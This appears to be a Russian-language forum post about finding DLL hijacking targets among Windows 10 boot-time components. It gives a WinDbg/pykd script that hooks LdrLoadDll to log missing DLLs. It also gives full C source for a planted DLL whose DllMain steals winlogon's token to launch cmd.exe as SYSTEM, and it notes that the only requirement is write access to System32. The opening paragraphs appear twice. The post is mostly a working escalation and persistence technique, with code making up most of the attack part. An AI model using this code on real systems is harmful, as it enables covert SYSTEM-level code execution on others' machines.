ОС: Windows 10 Enterprise x64, build 17763.55
Цель: поиск уязвимых к атаке "dll hijacking" системных компонентов на стадии загрузки ОС
Софт: windbg + pykd, компилятор C
Во время загрузки, Windows размещает в памяти порядка 1700 различных модулей (драйвера, службы, dll), вот примерная статистика проекций от нашего ядра (не учитывая нескольких сервисов KMS и ВМ):
Впечатляет количество dll. Среди такого множества модулей наверняка есть жучки которые остались по наследству или потерялись среди хаоса во время подготовки очередного важного обновления. Найдём их
Поставим на начало и возврат ntdll!LdrLoadDll по бряку, "активатором" которых служит одиночный nt!NtCreateUserProcess (Vista и выше). На коллбэках будем собирать нужную, для последующего определения плохишей, информацию (pid, процесс, dll):
прототип ntdll!LdrLoadDll и x64 ABI подсказка:
запускаем код и ожидаем вплоть до загрузки рабочего стола где и прерываем работу скрипта. С моим COM-портом процесс длился 1.5 часа.
после отбора всех строк со STATUS_DLL_NOT_FOUND (rax == 0xC0000135) и их тестирования, можно сделать вывод:
тестовая dll для запуска процесса из службы:
Единственное требование для эксплуатации - запись в System32 (нужны права администратора, но это, как мы понимаем, не проблема).
Уверен, прежние версии так само подвержены атаке.
[c] bank.sy
Цель: поиск уязвимых к атаке "dll hijacking" системных компонентов на стадии загрузки ОС
Софт: windbg + pykd, компилятор C
Во время загрузки, Windows размещает в памяти порядка 1700 различных модулей (драйвера, службы, dll), вот примерная статистика проекций от нашего ядра (не учитывая нескольких сервисов KMS и ВМ):
dll - 1489
sys - 115
exe - 120
cpl - 5
vdm - 4 (Windows Defender)
ocx - 1
drv - 1
Впечатляет количество dll. Среди такого множества модулей наверняка есть жучки которые остались по наследству или потерялись среди хаоса во время подготовки очередного важного обновления. Найдём их
Поставим на начало и возврат ntdll!LdrLoadDll по бряку, "активатором" которых служит одиночный nt!NtCreateUserProcess (Vista и выше). На коллбэках будем собирать нужную, для последующего определения плохишей, информацию (pid, процесс, dll):
Python:
from pykd import *
class hook_LdrLoadDll(eventHandler):
def __init__(self):
self.bp_creat_proc = setBp(module('nt').NtCreateUserProcess, self.cb_creat_proc)
def cb_creat_proc(self):
self.bp_creat_proc.remove()
self.pLdrLoadDll = module('ntdll').LdrLoadDll
self.bp_begin = setBp(self.pLdrLoadDll, self.cb_begin)
self.bp_end = None
return False
def cb_begin(self):
eproc = self.get_current_eprocess()
print '[{}] {}: {}'.format(int(eproc.UniqueProcessId),
loadCStr(eproc.ImageFileName),
loadUnicodeString(reg('r8')))
if not self.bp_end:
offset = 0
while 1:
d = disasm(self.pLdrLoadDll + offset)
if d.instruction().find('ret') >= 0:
break
offset += d.length()
self.bp_end = setBp(self.pLdrLoadDll + offset, self.cb_end)
return False
def cb_end(self):
rax = reg('rax')
eproc = self.get_current_eprocess()
print '[{}] {}: {}'.format(int(eproc.UniqueProcessId),
loadCStr(eproc.ImageFileName),
('ERROR (%X)' % rax, 'OK')[not rax])
return False
def get_current_eprocess(self):
return typedVar('nt!_EPROCESS', int(dbgCommand('r $proc').split('=')[1], 16))
h = hook_LdrLoadDll()
go()
прототип ntdll!LdrLoadDll и x64 ABI подсказка:
NTSTATUS LdrLoadDll(PWCHAR PathToFile, ULONG Flags, PUNICODE_STRING ModuleFileName, PHANDLE ModuleHandle);
begin
rcx = PathToFile
rdx = Flags
r8 = ModuleFileName (логируем)
r9 = ModuleHandle
end
rax = код возврата (0 == успех)
запускаем код и ожидаем вплоть до загрузки рабочего стола где и прерываем работу скрипта. С моим COM-портом процесс длился 1.5 часа.
после отбора всех строк со STATUS_DLL_NOT_FOUND (rax == 0xC0000135) и их тестирования, можно сделать вывод:
тестовая dll для запуска процесса из службы:
C:
#include <windows.h>
#include <tlhelp32.h>
DWORD get_pid_by_name(PWCHAR name)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return 0;
PROCESSENTRY32W pe;
pe.dwSize = sizeof pe;
if (!Process32FirstW(hSnapshot, &pe)) {
CloseHandle(hSnapshot);
return 0;
}
DWORD pid = 0;
do {
if (!lstrcmpW(pe.szExeFile, name)) {
pid = pe.th32ProcessID;
break;
}
} while (Process32NextW(hSnapshot, &pe));
CloseHandle(hSnapshot);
return pid;
}
BOOL create_system_process(PWCHAR name)
{
HANDLE hWinlogon = OpenProcess(MAXIMUM_ALLOWED, 0, get_pid_by_name(L"winlogon.exe"));
if (!hWinlogon)
return FALSE;
HANDLE hToken;
if (!OpenProcessToken(hWinlogon, TOKEN_DUPLICATE, &hToken)) {
CloseHandle(hWinlogon);
return FALSE;
}
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof sa;
HANDLE hNewToken;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, &sa, SecurityIdentification, TokenPrimary, &hNewToken)) {
CloseHandle(hToken);
CloseHandle(hWinlogon);
return FALSE;
}
STARTUPINFOW si;
__stosb((PBYTE)&si, 0, sizeof si);
PROCESS_INFORMATION pi;
si.cb = sizeof(si);
si.lpDesktop = L"winsta0\\default";
BOOL result = CreateProcessAsUserW(hNewToken, name, NULL, &sa, &sa, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (result) {
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
CloseHandle(hNewToken);
CloseHandle(hToken);
CloseHandle(hWinlogon);
return result;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
create_system_process(L"C:\\Windows\\System32\\cmd . exe");
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Единственное требование для эксплуатации - запись в System32 (нужны права администратора, но это, как мы понимаем, не проблема).
Уверен, прежние версии так само подвержены атаке.
[c] bank.sy